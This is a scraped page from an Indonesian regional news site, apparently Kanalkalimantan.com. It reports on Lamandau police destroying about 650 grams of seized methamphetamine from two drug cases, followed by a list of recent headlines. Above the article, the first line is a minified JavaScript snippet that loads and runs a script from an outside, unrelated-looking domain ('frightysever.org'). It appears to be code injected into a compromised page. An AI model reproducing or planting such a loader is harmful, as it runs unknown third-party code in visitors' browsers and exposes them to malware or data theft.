(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Lamandau

650 Gram Sabu dari Dua Kasus Pengungkapan Dimusnahkan Polres Lamandau


KANALKALIMANTAN.COM, NANGA BULIK – Jajaran Satresnarkoba Polres Lamandau memusnahkan barang bukti narkoba jenis sabu, Selasa (24/1/2023) siang.

Pemusnahan barang haram berlangsung di Joglo Mapolres Lamandau dipimpin langsung Kapolres Lamandau AKBP Bronto Budiyono SIK bersama Wakapolres Kompol Novalina Tarihoran, Ketua Pengadilan Negeri Nanga Bulik, Kasi Pidum Kejaksaan Negeri Lamandau, Kepala Kesbangpol Linmas dan Dinas Kesehatan Kabupaten Lamandau.

Kapolres Lamandau mengatakan, di akhir tahun 2022 pihaknya telah mengungkap dua perkara Nakoba jenis sabu seberat 650 gram. Dua tersangka GA (42) dan TS (40) ditangkap bersama barang bukti 186,84 gram. Kemudian kasus lainnya menyeret MS (47) dan HL (40) dengan barang bukti 466,71 gram sabu.

Barang bukti dimusnahan berdasarkan penetapan Kejaksaan Negeri Lamandau dengan disaksikan instansi terkait dihadapan empat tersangka.

 

Baca juga  : Antisipasi Macet Haul ke-18 Sekumpul Roda 6 Lebih Dilarang Melintas 26-31 Januari

“Sebelum pelaksanaan pemusnahan kita uji terhadap barang bukti tersebut, sehingga kita akan sama-sama mengetahui barang bukti yang dimusnahkan asli. Ini sebagai bentuk tranparansi yang kami lakukan,” ungkap Kapolres.

Pengungkapan kasus Narkoba jajaran Polres Lamandau mencegah peredaran gelap narkoba dan menyelamatkan jiwa masyarakat.

Pengujian barang bukti Narkoba dilakukan Dinas Kesehatan dengan cara memasukkan sebagian butiran kristal ke dalam alat teskit. Cairan yang berada di dalam teskit berubah warna menjadi ungu menandakan butiran kristal yang diuji tersebut positif mengandung amfetamin.

“Pemusnahan barang bukti sabu dimasukkan ke dalam panci berisi air mendidih yang dicampur pembersih lantai, kemudian barang bukti tersebut dimasukkan ke dalam septic tank diawasi ketat oleh Propam Polres Lamandau,” terang Kapolres.
(Kanalkalimantan.com/habibullah)

Reporter : habibullah
Editor : kk


Desy Arfianty

Recent Posts

Kucing-kucingan Anak Kecil vs Satpol PP di Lampu Lalulintas Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Kali kesekian, anak kecil Penyandang Masalah Kesejahteraan Sosial (PMKS) di kawasan lampu… Read More

22 menit ago

WTP Ke-11 untuk Pemkab Banjar, Wabup Banjar: Ini Kerja Tulus Semua Perangkat Daerah

KANALKALIMANTAN, BANJARBARU - Pemerintah Kabupaten Banjar meraih Opini Wajar Tanpa Pengecualian (WTP) dari Badan Pemeriksa… Read More

1 jam ago

Buka Peningkatan Kapasitas Kader PKK se-Kabupaten Banjar, Ini Harapan Nurgita Tiyas

KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More

12 jam ago

Klaim Restu PKS Turun di Pilwali Banjarmasin, Mukhyar Cari Dukungan Nasdem

KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More

13 jam ago

Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More

13 jam ago

Berhasil Ditekan, Angka Stunting 2023 Kabupaten Kapuas 16,20 Persen

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More

13 jam ago

This website uses cookies.